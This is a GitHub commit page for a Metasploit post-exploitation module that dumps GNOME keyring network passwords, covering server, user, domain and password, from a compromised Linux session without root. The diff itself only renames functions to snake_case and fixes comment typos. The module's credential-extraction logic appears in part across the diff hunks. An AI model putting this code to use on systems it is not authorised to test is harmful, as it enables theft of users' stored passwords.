Skip to content

Commit da6c03d

Browse files
committed
Fix function names to always be snake_case
1 parent ffe6d35 commit da6c03d

File tree

1 file changed

+9
-7
lines changed

1 file changed

+9
-7
lines changed

modules/post/linux/gather/gnome_keyring_dump.rb

Lines changed: 9 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -13,6 +13,7 @@ def initialize(info={})
1313
'Name' => 'Gnome-Keyring Dump',
1414
'Description' => %q{
1515
Use libgnome-keyring to extract network passwords for the current user.
16+
This module does not require root privileges to run.
1617
},
1718
'Author' => 'Spencer McIntyre',
1819
'License' => MSF_LICENSE,
@@ -36,7 +37,7 @@ class GList_x86 < BinData::Record
3637
end
3738

3839
# https://developer.gnome.org/glib/unstable/glib-Doubly-Linked-Lists.html#GList
39-
def struct_GList
40+
def struct_glist
4041
session.native_arch == ARCH_X64 ? GList_x64 : GList_x86
4142
end
4243

@@ -69,7 +70,7 @@ class GnomeKeyringNetworkPasswordData_x86 < BinData::Record
6970
end
7071

7172
# https://developer.gnome.org/gnome-keyring/stable/gnome-keyring-Network-Passwords.html#GnomeKeyringNetworkPasswordData
72-
def struct_GnomeKeyringNetworkPasswordData
73+
def struct_gnomekeyringnetworkpassworddata
7374
session.native_arch == ARCH_X64 ? GnomeKeyringNetworkPasswordData_x64 : GnomeKeyringNetworkPasswordData_x86
7475
end
7576

@@ -133,8 +134,8 @@ def get_struct(address, record)
133134
end
134135

135136
def get_list_entry(address)
136-
glist_struct = get_struct(address, struct_GList)
137-
glist_struct[:data] = get_struct(glist_struct[:data_ptr], struct_GnomeKeyringNetworkPasswordData)
137+
glist_struct = get_struct(address, struct_glist)
138+
glist_struct[:data] = get_struct(glist_struct[:data_ptr], struct_gnomekeyringnetworkpassworddata)
138139
glist_struct
139140
end
140141

@@ -167,7 +168,7 @@ def report_cred(opts)
167168
def resolve_host(name)
168169
address = @hostname_cache[name]
169170
return address unless address.nil?
170-
vprint_status("Resolving hostname #{name}")
171+
vprint_status("Resolving hostname: #{name}")
171172
begin
172173
address = session.net.resolve.resolve_host(name)[:ip]
173174
rescue Rex::Post::Meterpreter::RequestError
@@ -214,7 +215,7 @@ def run
214215
begin
215216
entry = get_list_entry(entry[:next_ptr])
216217
pw_data = entry[:data]
217-
# resolve necessary string files to non-empty strings or nil
218+
# resolve necessary string fields to non-empty strings or nil
218219
[:server, :user, :domain, :password, :protocol].each do |field|
219220
value = pw_data[field]
220221
pw_data[field] = nil
@@ -238,7 +239,7 @@ def run
238239
print_good(printable)
239240

240241
pw_data[:port] = resolve_port(pw_data[:protocol]) if pw_data[:port] == 0 and !pw_data[:protocol].nil?
241-
next if pw_data[:port] == 0 # can't report with a valid port
242+
next if pw_data[:port] == 0 # can't report without a valid port
242243
ip_address = resolve_host(pw_data[:server])
243244
next if ip_address.nil? # can't report without an ip address
244245

@@ -252,6 +253,7 @@ def run
252253
)
253254

254255
end while entry[:next_ptr] != list_anchor and entry[:next_ptr] != 0
256+
255257
libgnome_keyring.gnome_keyring_network_password_list_free(list_anchor)
256258
end
257259
end

0 commit comments

Comments
 (0)